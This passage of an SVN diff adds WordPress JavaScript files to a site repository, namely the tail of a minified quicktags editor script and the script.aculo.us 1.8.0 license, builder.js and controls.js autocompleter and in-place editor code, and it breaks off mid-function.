/>'}}}};j.edAddTag=function(i){if(j.Buttons[i].tagEnd!=""){j.OpenTags[j.OpenTags.length]=i;document.getElementById(j.Buttons[i].id).value="/"+document.getElementById(j.Buttons[i].id).value}};j.edRemoveTag=function(i){for(g=0;g<j.OpenTags.length;g++){if(j.OpenTags[g]==i){j.OpenTags.splice(g,1);document.getElementById(j.Buttons[i].id).value=document.getElementById(j.Buttons[i].id).value.replace("/","")}}};j.edCheckOpenTags=function(n){l=0;for(var m=0;m<j.OpenTags.length;m++){if(j.OpenTags[m]==n){l++}}if(l>0){return true}else{return false}};this.edCloseAllTags=function(){var i=j.OpenTags.length;for(var m=0;m<i;m++){j.edInsertTag(j.OpenTags[j.OpenTags.length-1])}};this.edQuickLink=function(o,p){if(o>-1){var n="",m;if(Links[o].newWin==1){n=' target="_blank"'}m='<a href="'+Links[o].URL+'"'+n+">"+Links[o].display+"</a>";p.selectedIndex=0;edInsertContent(j.Canvas,m)}else{p.selectedIndex=0}};j.edInsertTag=function(o){if(document.selection){j.Canvas.focus();d=document.selection.createRange();if(d.text.length>0){d.text=j.Buttons[o].tagStart+d.text+j.Buttons[o].tagEnd}else{if(!j.edCheckOpenTags(o)||j.Buttons[o].tagEnd==""){d.text=j.Buttons[o].tagStart;j.edAddTag(o)}else{d.text=j.Buttons[o].tagEnd;j.edRemoveTag(o)}}j.Canvas.focus()}else{if(j.Canvas.selectionStart||j.Canvas.selectionStart=="0"){var n=j.Canvas.selectionStart,m=j.Canvas.selectionEnd,q=m,p=j.Canvas.scrollTop;if(n!=m){j.Canvas.value=j.Canvas.value.substring(0,n)+j.Buttons[o].tagStart+j.Canvas.value.substring(n,m)+j.Buttons[o].tagEnd+j.Canvas.value.substring(m,j.Canvas.value.length);q+=j.Buttons[o].tagStart.length+j.Buttons[o].tagEnd.length}else{if(!j.edCheckOpenTags(o)||j.Buttons[o].tagEnd==""){j.Canvas.value=j.Canvas.value.substring(0,n)+j.Buttons[o].tagStart+j.Canvas.value.substring(m,j.Canvas.value.length);j.edAddTag(o);q=n+j.Buttons[o].tagStart.length}else{j.Canvas.value=j.Canvas.value.substring(0,n)+j.Buttons[o].tagEnd+j.Canvas.value.substring(m,j.Canvas.value.length);j.edRemoveTag(o);q=n+j.Buttons[o].tagEnd.length}}j.Canvas.focus();j.Canvas.selectionStart=q;j.Canvas.selectionEnd=q;j.Canvas.scrollTop=p}else{if(!j.edCheckOpenTags(o)||j.Buttons[o].tagEnd==""){j.Canvas.value+=Buttons[o].tagStart;j.edAddTag(o)}else{j.Canvas.value+=Buttons[o].tagEnd;j.edRemoveTag(o)}j.Canvas.focus()}}};this.edInsertLink=function(o,n){if(!n){n="http://"}if(!j.edCheckOpenTags(o)){var m=prompt(quicktagsL10n.enterURL,n);if(m){j.Buttons[o].tagStart='<a href="'+m+'">';j.edInsertTag(o)}}else{j.edInsertTag(o)}};this.edInsertImage=function(){var i=prompt(quicktagsL10n.enterImageURL,"http://");if(i){i='<img src="'+i+'" alt="'+prompt(quicktagsL10n.enterImageDescription,"")+'" />';edInsertContent(j.Canvas,i)}};j.Buttons[j.Buttons.length]=new edButton(a+"_strong","b","<strong>","</strong>","b");j.Buttons[j.Buttons.length]=new edButton(a+"_em","i","<em>","</em>","i");j.Buttons[j.Buttons.length]=new edButton(a+"_link","link","","</a>","a");j.Buttons[j.Buttons.length]=new edButton(a+"_block","b-quote","\n\n<blockquote>","</blockquote>\n\n","q");j.Buttons[j.Buttons.length]=new edButton(a+"_del","del",'<del datetime="'+datetime+'">',"</del>","d");j.Buttons[j.Buttons.length]=new edButton(a+"_ins","ins",'<ins datetime="'+datetime+'">',"</ins>","s");j.Buttons[j.Buttons.length]=new edButton(a+"_img","img","","","m",-1);j.Buttons[j.Buttons.length]=new edButton(a+"_ul","ul","<ul>\n","</ul>\n\n","u");j.Buttons[j.Buttons.length]=new edButton(a+"_ol","ol","<ol>\n","</ol>\n\n","o");j.Buttons[j.Buttons.length]=new edButton(a+"_li","li","\t<li>","</li>\n","l");j.Buttons[j.Buttons.length]=new edButton(a+"_code","code","<code>","</code>","c");j.Buttons[j.Buttons.length]=new edButton(a+"_more","more","<!--more-->","","t",-1);e=document.createElement("div");e.id=a+"_qtags";h='<div id="'+a+'_toolbar">';for(g=0;g<j.Buttons.length;g++){h+=j.edShowButton(j.Buttons[g],g)}h+='<input type="button" id="'+a+'_ed_spell" class="ed_button" onclick="edSpell('+a+'.Canvas);" title="'+quicktagsL10n.dictionaryLookup+'" value="'+quicktagsL10n.lookup+'" />';h+='<input type="button" id="'+a+'_ed_close" class="ed_button" onclick="'+a+'.edCloseAllTags();" title="'+quicktagsL10n.closeAllOpenTags+'" value="'+quicktagsL10n.closeTags+'" /></div>';e.innerHTML=h;k.parentNode.insertBefore(e,k)};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/MIT-LICENSE
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/MIT-LICENSE	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/MIT-LICENSE	(revision 44)
@@ -0,0 +1,20 @@
+Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/builder.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/builder.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/builder.js	(revision 44)
@@ -0,0 +1,136 @@
+// script.aculo.us builder.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+var Builder = {
+  NODEMAP: {
+    AREA: 'map',
+    CAPTION: 'table',
+    COL: 'table',
+    COLGROUP: 'table',
+    LEGEND: 'fieldset',
+    OPTGROUP: 'select',
+    OPTION: 'select',
+    PARAM: 'object',
+    TBODY: 'table',
+    TD: 'table',
+    TFOOT: 'table',
+    TH: 'table',
+    THEAD: 'table',
+    TR: 'table'
+  },
+  // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken,
+  //       due to a Firefox bug
+  node: function(elementName) {
+    elementName = elementName.toUpperCase();
+    
+    // try innerHTML approach
+    var parentTag = this.NODEMAP[elementName] || 'div';
+    var parentElement = document.createElement(parentTag);
+    try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
+      parentElement.innerHTML = "<" + elementName + "></" + elementName + ">";
+    } catch(e) {}
+    var element = parentElement.firstChild || null;
+      
+    // see if browser added wrapping tags
+    if(element && (element.tagName.toUpperCase() != elementName))
+      element = element.getElementsByTagName(elementName)[0];
+    
+    // fallback to createElement approach
+    if(!element) element = document.createElement(elementName);
+    
+    // abort if nothing could be created
+    if(!element) return;
+
+    // attributes (or text)
+    if(arguments[1])
+      if(this._isStringOrNumber(arguments[1]) ||
+        (arguments[1] instanceof Array) ||
+        arguments[1].tagName) {
+          this._children(element, arguments[1]);
+        } else {
+          var attrs = this._attributes(arguments[1]);
+          if(attrs.length) {
+            try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
+              parentElement.innerHTML = "<" +elementName + " " +
+                attrs + "></" + elementName + ">";
+            } catch(e) {}
+            element = parentElement.firstChild || null;
+            // workaround firefox 1.0.X bug
+            if(!element) {
+              element = document.createElement(elementName);
+              for(attr in arguments[1]) 
+                element[attr == 'class' ? 'className' : attr] = arguments[1][attr];
+            }
+            if(element.tagName.toUpperCase() != elementName)
+              element = parentElement.getElementsByTagName(elementName)[0];
+          }
+        } 
+
+    // text, or array of children
+    if(arguments[2])
+      this._children(element, arguments[2]);
+
+     return element;
+  },
+  _text: function(text) {
+     return document.createTextNode(text);
+  },
+
+  ATTR_MAP: {
+    'className': 'class',
+    'htmlFor': 'for'
+  },
+
+  _attributes: function(attributes) {
+    var attrs = [];
+    for(attribute in attributes)
+      attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) +
+          '="' + attributes[attribute].toString().escapeHTML().gsub(/"/,'&quot;') + '"');
+    return attrs.join(" ");
+  },
+  _children: function(element, children) {
+    if(children.tagName) {
+      element.appendChild(children);
+      return;
+    }
+    if(typeof children=='object') { // array can hold nodes and text
+      children.flatten().each( function(e) {
+        if(typeof e=='object')
+          element.appendChild(e)
+        else
+          if(Builder._isStringOrNumber(e))
+            element.appendChild(Builder._text(e));
+      });
+    } else
+      if(Builder._isStringOrNumber(children))
+        element.appendChild(Builder._text(children));
+  },
+  _isStringOrNumber: function(param) {
+    return(typeof param=='string' || typeof param=='number');
+  },
+  build: function(html) {
+    var element = this.node('div');
+    $(element).update(html.strip());
+    return element.down();
+  },
+  dump: function(scope) { 
+    if(typeof scope != 'object' && typeof scope != 'function') scope = window; //global scope 
+  
+    var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " +
+      "BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " +
+      "FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX "+
+      "KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P "+
+      "PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD "+
+      "TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/);
+  
+    tags.each( function(tag){ 
+      scope[tag] = function() { 
+        return Builder.node.apply(Builder, [tag].concat($A(arguments)));  
+      } 
+    });
+  }
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/controls.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/controls.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/controls.js	(revision 44)
@@ -0,0 +1,965 @@
+// script.aculo.us controls.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//           (c) 2005-2007 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
+//           (c) 2005-2007 Jon Tirsen (http://www.tirsen.com)
+// Contributors:
+//  Richard Livsey
+//  Rahul Bhargava
+//  Rob Wills
+// 
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+// Autocompleter.Base handles all the autocompletion functionality 
+// that's independent of the data source for autocompletion. This
+// includes drawing the autocompletion menu, observing keyboard
+// and mouse events, and similar.
+//
+// Specific autocompleters need to provide, at the very least, 
+// a getUpdatedChoices function that will be invoked every time
+// the text inside the monitored textbox changes. This method 
+// should get the text for which to provide autocompletion by
+// invoking this.getToken(), NOT by directly accessing
+// this.element.value. This is to allow incremental tokenized
+// autocompletion. Specific auto-completion logic (AJAX, etc)
+// belongs in getUpdatedChoices.
+//
+// Tokenized incremental autocompletion is enabled automatically
+// when an autocompleter is instantiated with the 'tokens' option
+// in the options parameter, e.g.:
+// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' });
+// will incrementally autocomplete with a comma as the token.
+// Additionally, ',' in the above example can be replaced with
+// a token array, e.g. { tokens: [',', '\n'] } which
+// enables autocompletion on multiple tokens. This is most 
+// useful when one of the tokens is \n (a newline), as it 
+// allows smart autocompletion after linebreaks.
+
+if(typeof Effect == 'undefined')
+  throw("controls.js requires including script.aculo.us' effects.js library");
+
+var Autocompleter = { }
+Autocompleter.Base = Class.create({
+  baseInitialize: function(element, update, options) {
+    element          = $(element)
+    this.element     = element; 
+    this.update      = $(update);  
+    this.hasFocus    = false; 
+    this.changed     = false; 
+    this.active      = false; 
+    this.index       = 0;     
+    this.entryCount  = 0;
+    this.oldElementValue = this.element.value;
+
+    if(this.setOptions)
+      this.setOptions(options);
+    else
+      this.options = options || { };
+
+    this.options.paramName    = this.options.paramName || this.element.name;
+    this.options.tokens       = this.options.tokens || [];
+    this.options.frequency    = this.options.frequency || 0.4;
+    this.options.minChars     = this.options.minChars || 1;
+    this.options.onShow       = this.options.onShow || 
+      function(element, update){ 
+        if(!update.style.position || update.style.position=='absolute') {
+          update.style.position = 'absolute';
+          Position.clone(element, update, {
+            setHeight: false, 
+            offsetTop: element.offsetHeight
+          });
+        }
+        Effect.Appear(update,{duration:0.15});
+      };
+    this.options.onHide = this.options.onHide || 
+      function(element, update){ new Effect.Fade(update,{duration:0.15}) };
+
+    if(typeof(this.options.tokens) == 'string') 
+      this.options.tokens = new Array(this.options.tokens);
+    // Force carriage returns as token delimiters anyway
+    if (!this.options.tokens.include('\n'))
+      this.options.tokens.push('\n');
+
+    this.observer = null;
+    
+    this.element.setAttribute('autocomplete','off');
+
+    Element.hide(this.update);
+
+    Event.observe(this.element, 'blur', this.onBlur.bindAsEventListener(this));
+    Event.observe(this.element, 'keypress', this.onKeyPress.bindAsEventListener(this));
+  },
+
+  show: function() {
+    if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update);
+    if(!this.iefix && 
+      (Prototype.Browser.IE) &&
+      (Element.getStyle(this.update, 'position')=='absolute')) {
+      new Insertion.After(this.update, 
+       '<iframe id="' + this.update.id + '_iefix" '+
+       'style="display:none;position:absolute;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);" ' +
+       'src="javascript:false;" frameborder="0" scrolling="no"></iframe>');
+      this.iefix = $(this.update.id+'_iefix');
+    }
+    if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50);
+  },
+  
+  fixIEOverlapping: function() {
+    Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)});
+    this.iefix.style.zIndex = 1;
+    this.update.style.zIndex = 2;
+    Element.show(this.iefix);
+  },
+
+  hide: function() {
+    this.stopIndicator();
+    if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update);
+    if(this.iefix) Element.hide(this.iefix);
+  },
+
+  startIndicator: function() {
+    if(this.options.indicator) Element.show(this.options.indicator);
+  },
+
+  stopIndicator: function() {
+    if(this.options.indicator) Element.hide(this.options.indicator);
+  },
+
+  onKeyPress: function(event) {
+    if(this.active)
+      switch(event.keyCode) {
+       case Event.KEY_TAB:
+       case Event.KEY_RETURN:
+         this.selectEntry();
+         Event.stop(event);
+       case Event.KEY_ESC:
+         this.hide();
+         this.active = false;
+         Event.stop(event);
+         return;
+       case Event.KEY_LEFT:
+       case Event.KEY_RIGHT:
+         return;
+       case Event.KEY_UP:
+         this.markPrevious();
+         this.render();
+         if(Prototype.Browser.WebKit) Event.stop(event);
+         return;
+       case Event.KEY_DOWN:
+         this.markNext();
+         this.render();
+         if(Prototype.Browser.WebKit) Event.stop(event);
+         return;
+      }
+     else 
+       if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN || 
+         (Prototype.Browser.WebKit > 0 && event.keyCode == 0)) return;
+
+    this.changed = true;
+    this.hasFocus = true;
+
+    if(this.observer) clearTimeout(this.observer);
+      this.observer = 
+        setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000);
+  },
+
+  activate: function() {
+    this.changed = false;
+    this.hasFocus = true;
+    this.getUpdatedChoices();
+  },
+
+  onHover: function(event) {
+    var element = Event.findElement(event, 'LI');
+    if(this.index != element.autocompleteIndex) 
+    {
+        this.index = element.autocompleteIndex;
+        this.render();
+    }
+    Event.stop(event);
+  },
+  
+  onClick: function(event) {
+    var element = Event.findElement(event, 'LI');
+    this.index = element.autocompleteIndex;
+    this.selectEntry();
+    this.hide();
+  },
+  
+  onBlur: function(event) {
+    // needed to make click events working
+    setTimeout(this.hide.bind(this), 250);
+    this.hasFocus = false;
+    this.active = false;     
+  }, 
+  
+  render: function() {
+    if(this.entryCount > 0) {
+      for (var i = 0; i < this.entryCount; i++)
+        this.index==i ? 
+          Element.addClassName(this.getEntry(i),"selected") : 
+          Element.removeClassName(this.getEntry(i),"selected");
+      if(this.hasFocus) { 
+        this.show();
+        this.active = true;
+      }
+    } else {
+      this.active = false;
+      this.hide();
+    }
+  },
+  
+  markPrevious: function() {
+    if(this.index > 0) this.index--
+      else this.index = this.entryCount-1;
+    this.getEntry(this.index).scrollIntoView(true);
+  },
+  
+  markNext: function() {
+    if(this.index < this.entryCount-1) this.index++
+      else this.index = 0;
+    this.getEntry(this.index).scrollIntoView(false);
+  },
+  
+  getEntry: function(index) {
+    return this.update.firstChild.childNodes[index];
+  },
+  
+  getCurrentEntry: function() {
+    return this.getEntry(this.index);
+  },
+  
+  selectEntry: function() {
+    this.active = false;
+    this.updateElement(this.getCurrentEntry());
+  },
+
+  updateElement: function(selectedElement) {
+    if (this.options.updateElement) {
+      this.options.updateElement(selectedElement);
+      return;
+    }
+    var value = '';
+    if (this.options.select) {
+      var nodes = $(selectedElement).select('.' + this.options.select) || [];
+      if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select);
+    } else
+      value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal');
+    
+    var bounds = this.getTokenBounds();
+    if (bounds[0] != -1) {
+      var newValue = this.element.value.substr(0, bounds[0]);
+      var whitespace = this.element.value.substr(bounds[0]).match(/^\s+/);
+      if (whitespace)
+        newValue += whitespace[0];
+      this.element.value = newValue + value + this.element.value.substr(bounds[1]);
+    } else {
+      this.element.value = value;
+    }
+    this.oldElementValue = this.element.value;
+    this.element.focus();
+    
+    if (this.options.afterUpdateElement)
+      this.options.afterUpdateElement(this.element, selectedElement);
+  },
+
+  updateChoices: function(choices) {
+    if(!this.changed && this.hasFocus) {
+      this.update.innerHTML = choices;
+      Element.cleanWhitespace(this.update);
+      Element.cleanWhitespace(this.update.down());
+
+      if(this.update.firstChild && this.update.down().childNodes) {
+        this.entryCount = 
+          this.update.down().childNodes.length;
+        for (var i = 0; i < this.entryCount; i++) {
+          var entry = this.getEntry(i);
+          entry.autocompleteIndex = i;
+          this.addObservers(entry);
+        }
+      } else { 
+        this.entryCount = 0;
+      }
+
+      this.stopIndicator();
+      this.index = 0;
+      
+      if(this.entryCount==1 && this.options.autoSelect) {
+        this.selectEntry();
+        this.hide();
+      } else {
+        this.render();
+      }
+    }
+  },
+
+  addObservers: function(element) {
+    Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this));
+    Event.observe(element, "click", this.onClick.bindAsEventListener(this));
+  },
+
+  onObserverEvent: function() {
+    this.changed = false;   
+    this.tokenBounds = null;
+    if(this.getToken().length>=this.options.minChars) {
+      this.getUpdatedChoices();
+    } else {
+      this.active = false;
+      this.hide();
+    }
+    this.oldElementValue = this.element.value;
+  },
+
+  getToken: function() {
+    var bounds = this.getTokenBounds();
+    return this.element.value.substring(bounds[0], bounds[1]).strip();
+  },
+
+  getTokenBounds: function() {
+    if (null != this.tokenBounds) return this.tokenBounds;
+    var value = this.element.value;
+    if (value.strip().empty()) return [-1, 0];
+    var diff = arguments.callee.getFirstDifferencePos(value, this.oldElementValue);
+    var offset = (diff == this.oldElementValue.length ? 1 : 0);
+    var prevTokenPos = -1, nextTokenPos = value.length;
+    var tp;
+    for (var index = 0, l = this.options.tokens.length; index < l; ++index) {
+      tp = value.lastIndexOf(this.options.tokens[index], diff + offset - 1);
+      if (tp > prevTokenPos) prevTokenPos = tp;
+      tp = value.indexOf(this.options.tokens[index], diff + offset);
+      if (-1 != tp && tp < nextTokenPos) nextTokenPos = tp;
+    }
+    return (this.tokenBounds = [prevTokenPos + 1, nextTokenPos]);
+  }
+});
+
+Autocompleter.Base.prototype.getTokenBounds.getFirstDifferencePos = function(newS, oldS) {
+  var boundary = Math.min(newS.length, oldS.length);
+  for (var index = 0; index < boundary; ++index)
+    if (newS[index] != oldS[index])
+      return index;
+  return boundary;
+};
+
+Ajax.Autocompleter = Class.create(Autocompleter.Base, {
+  initialize: function(element, update, url, options) {
+    this.baseInitialize(element, update, options);
+    this.options.asynchronous  = true;
+    this.options.onComplete    = this.onComplete.bind(this);
+    this.options.defaultParams = this.options.parameters || null;
+    this.url                   = url;
+  },
+
+  getUpdatedChoices: function() {
+    this.startIndicator();
+    
+    var entry = encodeURIComponent(this.options.paramName) + '=' + 
+      encodeURIComponent(this.getToken());
+
+    this.options.parameters = this.options.callback ?
+      this.options.callback(this.element, entry) : entry;
+
+    if(this.options.defaultParams) 
+      this.options.parameters += '&' + this.options.defaultParams;
+    
+    new Ajax.Request(this.url, this.options);
+  },
+
+  onComplete: function(request) {
+    this.updateChoices(request.responseText);
+  }
+});
+
+// The local array autocompleter. Used when you'd prefer to
+// inject an array of autocompletion options into the page, rather
+// than sending out Ajax queries, which can be quite slow sometimes.
+//
+// The constructor takes four parameters. The first two are, as usual,
+// the id of the monitored textbox, and id of the autocompletion menu.
+// The third is the array you want to autocomplete from, and the fourth
+// is the options block.
+//
+// Extra local autocompletion options:
+// - choices - How many autocompletion choices to offer
+//
+// - partialSearch - If false, the autocompleter will match entered
+//                    text only at the beginning of strings in the 
+//                    autocomplete array. Defaults to true, which will
+//                    match text at the beginning of any *word* in the
+//                    strings in the autocomplete array. If you want to
+//                    search anywhere in the string, additionally set
+//                    the option fullSearch to true (default: off).
+//
+// - fullSsearch - Search anywhere in autocomplete array strings.
+//
+// - partialChars - How many characters to enter before triggering
+//                   a partial match (unlike minChars, which defines
+//                   how many characters are required to do any match
+//                   at all). Defaults to 2.
+//
+// - ignoreCase - Whether to ignore case when autocompleting.
+//                 Defaults to true.
+//
+// It's possible to pass in a custom function as the 'selector' 
+// option, if you prefer to write your own autocompletion logic.
+// In that case, the other options above will not apply unless
+// you support them.
+
+Autocompleter.Local = Class.create(Autocompleter.Base, {
+  initialize: function(element, update, array, options) {
+    this.baseInitialize(element, update, options);
+    this.options.array = array;
+  },
+
+  getUpdatedChoices: function() {
+    this.updateChoices(this.options.selector(this));
+  },
+
+  setOptions: function(options) {
+    this.options = Object.extend({
+      choices: 10,
+      partialSearch: true,
+      partialChars: 2,
+      ignoreCase: true,
+      fullSearch: false,
+      selector: function(instance) {
+        var ret       = []; // Beginning matches
+        var partial   = []; // Inside matches
+        var entry     = instance.getToken();
+        var count     = 0;
+
+        for (var i = 0; i < instance.options.array.length &&  
+          ret.length < instance.options.choices ; i++) { 
+
+          var elem = instance.options.array[i];
+          var foundPos = instance.options.ignoreCase ? 
+            elem.toLowerCase().indexOf(entry.toLowerCase()) : 
+            elem.indexOf(entry);
+
+          while (foundPos != -1) {
+            if (foundPos == 0 && elem.length != entry.length) { 
+              ret.push("<li><strong>" + elem.substr(0, entry.length) + "</strong>" + 
+                elem.substr(entry.length) + "</li>");
+              break;
+            } else if (entry.length >= instance.options.partialChars && 
+              instance.options.partialSearch && foundPos != -1) {
+              if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) {
+                partial.push("<li>" + elem.substr(0, foundPos) + "<strong>" +
+                  elem.substr(foundPos, entry.length) + "</strong>" + elem.substr(
+                  foundPos + entry.length) + "</li>");
+                break;
+              }
+            }
+
+            foundPos = instance.options.ignoreCase ? 
+              elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : 
+              elem.indexOf(entry, foundPos + 1);
+
+          }
+        }
+        if (partial.length)
+          ret = ret.concat(partial.slice(0, instance.options.choices - ret.length))
+        return "<ul>" + ret.join('') + "</ul>";
+      }
+    }, options || { });
+  }
+});
+
+// AJAX in-place editor and collection editor
+// Full rewrite by Christophe Porteneuve <tdd@tddsworld.com> (April 2007).
+
+// Use this if you notice weird scrolling problems on some browsers,
+// the DOM might be a bit confused when this gets called so do this
+// waits 1 ms (with setTimeout) until it does the activation
+Field.scrollFreeActivate = function(field) {
+  setTimeout(function() {
+    Field.activate(field);
+  }, 1);
+}
+
+Ajax.InPlaceEditor = Class.create({
+  initialize: function(element, url, options) {
+    this.url = url;
+    this.element = element = $(element);
+    this.prepareOptions();
+    this._controls = { };
+    arguments.callee.dealWithDeprecatedOptions(options); // DEPRECATION LAYER!!!
+    Object.extend(this.options, options || { });
+    if (!this.options.formId && this.element.id) {
+      this.options.formId = this.element.id + '-inplaceeditor';
+      if ($(this.options.formId))
+        this.options.formId = '';
+    }
+    if (this.options.externalControl)
+      this.options.externalControl = $(this.options.externalControl);
+    if (!this.options.externalControl)
+      this.options.externalControlOnly = false;
+    this._originalBackground = this.element.getStyle('background-color') || 'transparent';
+    this.element.title = this.options.clickToEditText;
+    this._boundCancelHandler = this.handleFormCancellation.bind(this);
+    this._boundComplete = (this.options.onComplete || Prototype.emptyFunction).bind(this);
+    this._boundFailureHandler = this.handleAJAXFailure.bind(this);
+    this._boundSubmitHandler = this.handleFormSubmission.bind(this);
+    this._boundWrapperHandler = this.wrapUp.bind(this);
+    this.registerListeners();
+  },
+  checkForEscapeOrReturn: function(e) {
+    if (!this._editing || e.ctrlKey || e.altKey || e.shiftKey) return;
+    if (Event.KEY_ESC == e.keyCode)
+      this.handleFormCancellation(e);
+    else if (Event.KEY_RETURN == e.keyCode)
+      this.handleFormSubmission(e);
+  },
+  createControl: function(mode, handler, extraClasses) {
+    var control = this.options[mode + 'Control'];
+    var text = this.options[mode + 'Text'];
+    if ('button' == control) {
+      var btn = document.createElement('input');
+      btn.type = 'submit';
+      btn.value = text;
+      btn.className = 'editor_' + mode + '_button';
+      if ('cancel' == mode)
+        btn.onclick = this._boundCancelHandler;
+      this._form.appendChild(btn);
+      this._controls[mode] = btn;
+    } else if ('link' == control) {
+      var link = document.createElement('a');
+      link.href = '#';
+      link.appendChild(document.createTextNode(text));
+      link.onclick = 'cancel' == mode ? this._boundCancelHandler : this._boundSubmitHandler;
+      link.className = 'editor_' + mode + '_link';
+      if (extraClasses)
+        link.className += ' ' + extraClasses;
+      this._form.appendChild(link);
+      this._controls[mode] = link;
+    }
+  },
+  createEditField: function() {
+    var text = (this.options.loadTextURL ? this.options.loadingText : this.getText());
+    var fld;
+    if (1 >= this.options.rows && !/\r|\n/.test(this.getText())) {
+      fld = document.createElement('input');
+      fld.type = 'text';
+      var size = this.options.size || this.options.cols || 0;
+      if (0 < size) fld.size = size;
+    } else {
+      fld = document.createElement('textarea');
+      fld.rows = (1 >= this.options.rows ? this.options.autoRows : this.options.rows);
+      fld.cols = this.options.cols || 40;
+    }
+    fld.name = this.options.paramName;
+    fld.value = text; // No HTML breaks conversion anymore
+    fld.className = 'editor_field';
+    if (this.options.submitOnBlur)
+      fld.onblur = this._boundSubmitHandler;
+    this._controls.editor = fld;
+    if (this.options.loadTextURL)
+      this.loadExternalText();
+    this._form.appendChild(this._controls.editor);
+  },
+  createForm: function() {
+    var ipe = this;
+    function addText(mode, condition) {
+      var text = ipe.options['text' + mode + 'Controls'];
+      if (!text || condition === false) return;
+      ipe._form.appendChild(document.createTextNode(text));
+    };
+    this._form = $(document.createElement('form'));
+    this._form.id = this.options.formId;
+    this._form.addClassName(this.options.formClassName);
+    this._form.onsubmit = this._boundSubmitHandler;
+    this.createEditField();
+    if ('textarea' == this._controls.editor.tagName.toLowerCase())
+      this._form.appendChild(document.createElement('br'));
+    if (this.options.onFormCustomization)
+      this.options.onFormCustomization(this, this._form);
+    addText('Before', this.options.okControl || this.options.cancelControl);
+    this.createControl('ok', this._boundSubmitHandler);
+    addText('Between', this.options.okControl && this.options.cancelControl);
+    this.createControl('cancel', this._boundCancelHandler, 'editor_cancel');
+    addText('After', this.options.okControl || this.options.cancelControl);
+  },
+  destroy: function() {
+    if (this._oldInnerHTML)
+      this.element.innerHTML = this._oldInnerHTML;
+    this.leaveEditMode();
+    this.unregisterListeners();
+  },
+  enterEditMode: function(e) {
+    if (this._saving || this._editing) return;
+    this._editing = true;
+    this.triggerCallback('onEnterEditMode');
+    if (this.options.externalControl)
+      this.options.externalControl.hide();
+    this.element.hide();
+    this.createForm();
+    this.element.parentNode.insertBefore(this._form, this.element);
+    if (!this.options.loadTextURL)
+      this.postProcessEditField();
+    if (e) Event.stop(e);
+  },
+  enterHover: function(e) {
+    if (this.options.hoverClassName)
+      this.element.addClassName(this.options.hoverClassName);
+    if (this._saving) return;
+    this.triggerCallback('onEnterHover');
+  },
+  getText: function() {
+    return this.element.innerHTML;
+  },
+  handleAJAXFailure: function(transport) {
+    this.triggerCallback('onFailure', transport);
+    if (this._oldInnerHTML) {
+      this.element.innerHTML = this._oldInnerHTML;
+      this._oldInnerHTML = null;
+    }
+  },
+  handleFormCancellation: function(e) {
+    this.wrapUp();
+    if (e) Event.stop(e);
+  },
+  handleFormSubmission: function(e) {
+    var form = this._form;
